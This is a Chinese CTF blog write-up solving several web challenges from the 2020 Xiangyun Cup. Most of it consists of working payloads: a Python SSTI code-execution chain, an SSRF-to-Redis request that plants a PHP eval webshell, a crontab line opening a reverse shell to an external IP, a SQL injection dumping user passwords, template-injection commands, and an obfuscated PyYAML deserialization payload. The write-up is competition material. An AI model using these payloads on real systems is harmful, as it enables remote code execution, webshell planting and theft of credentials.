CTF Web安全

祥云杯WEB

Posted on 2020-11-21,5 min read

Command

\和%09。绕过黑名单
感觉。找flag是最难的/etc/.flag啥/flag.txt

flaskbot

登陆和比数字
用NAN可以绕过比数字。
然后会输出用户名:WIN
这里可以触发SSTI。

payload一把梭。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['ev'+'al']('__impo'+'rt__("o'+'s").po'+'pen("ls ").read()')

doyouknowssrf

原题不多说了。绕过parse_url然后打5000端口的python。然后CRLF打Redis

http://eci-2ze5xfvuz0x3wcpba5st.cloudeci1.ichunqiu.com/?url=http://m09ic@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

gogogo

有两个功能。一个上传。一个show
上传文件后。会给你一个cookie。里面有用户名密码。以及你上传文件路径对应的签名
这里传文件。替换cookie去show。貌似文件会覆盖?所以去show的时候。解析cookie中的文件名。然后读取还是我们上传的内容

第一次。上传文件。拿到文件路径对应的COOKIE

重置靶机。随便上传个文件。然后去SHOW。替换第一次上传../../../../../flag对应的cookie

解析:
后来读取文件。发现是root权限。所以我们第一次上传文件。就会直接覆盖文件。passwd。shadow皆可覆盖。。。。
由于他后端是定死的密钥。我们可以拿到签名对应的路径。比如../../../../../../flag。虽然覆盖掉了。但是我们拿到了他的签名。也就是返回的那一串cookie
然后重置靶机。替换cookie后。去访问。他后端会解析cookie中对应的文件名和签名。对上了。就会去读取文件。然后base64。而此时。我们并没有上传文件覆盖。所以可以拿到Flag。

还有一种办法。覆盖/etc/crontab弹shell

*/1 * * * *  root /usr/bin/python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("119.45.155.77",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

easyzzz

拿密码修改后台search模板

/form/index.php?module=getjson

POST:table=gbook&where[]=1=1 union select password from zzz_user&col=1

拿到密码。后台模板管理->html->search.html

{if:1)echo(`cat /flag`);//}{end if}

第二种办法。在解析模板的时候。会先进入parserOtherLabel解析其他模板。然后解析完再解析if

这题出现if就会爬。。魔改了。可以用其他模板绕过
首先进入parserOtherLabel函数。
他会读取模板内容。然后进行标签的替换
正则获取的数组内容如下

array(3) {
  [0]=>
  array(12) {
    [0]=>
    string(13) "{leftstr:i,2}"
    [1]=>
    string(13) "{leftstr:f,1}"
  }
  [1]=>
  array(12) {
    [0]=>
    string(7) "leftstr"
    [1]=>
    string(7) "leftstr"
  }
  [2]=>
  array(12) {
    [0]=>
    string(3) "i,1"
    [1]=>
    string(3) "f,1"
  }
}

在模板中将完整的标签替换成leftstr(i,1)。也就是截取了字符串i
然后继续放入模板。循环替换。最后

{{leftstr:i,1}{leftstr:f,1}:var_dump(`whoami`)}{end {leftstr:i,1}{leftstr:f,1}}
替换成了
{if:var_dump(`whoami`)}{end if}
然后就和赛博CTF模板注入一样了。进入if标签。解析进入eval

profile system

先../../../拿到源码

国外的原题https://hackmd.io/@harrier/uiuctf20

!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x3e\x20\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x74\x65\x73\x74\x27\x29" ]]]

由于不通网。输出到文件即可

下一篇: KCTF的一题web→